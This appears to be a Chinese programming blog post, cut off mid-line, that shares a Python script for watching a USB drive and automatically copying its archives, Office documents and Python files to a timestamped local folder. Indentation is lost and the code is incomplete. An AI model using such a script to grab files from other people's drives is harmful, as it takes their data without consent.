python玩蛇群 欢迎加入 901170193
先贴代码
import os,time,shutil,re
#识别文件的格式
regex_filename = re.compile(r'(.*zip$)|(.rar$)|(.*docx$)|(.*ppt$)|(.*xls$)|(.*py$)')
def usb_monitor(sleep_time,usb_path,copy_folder):
if not os.path.exists(copy_folder):
os.mkdir(copy_folder)
a = 0
while True:
time.sleep(sleep_time)
start_time = time.time()
file_num = 0
try:
u = os.listdir(usb_path)
except FileNotFoundError:
print('usb is not found')
a=0
continue
if a>0:
print('usb has already copied')
continue
copy_folder = os.path.join(copy_folder, time.strftime('%Y-%m-%d %H-%M', time.localtime()))
os.mkdir(copy_folder)
for root, dirs, files in os.walk(usb_path):
if a =&#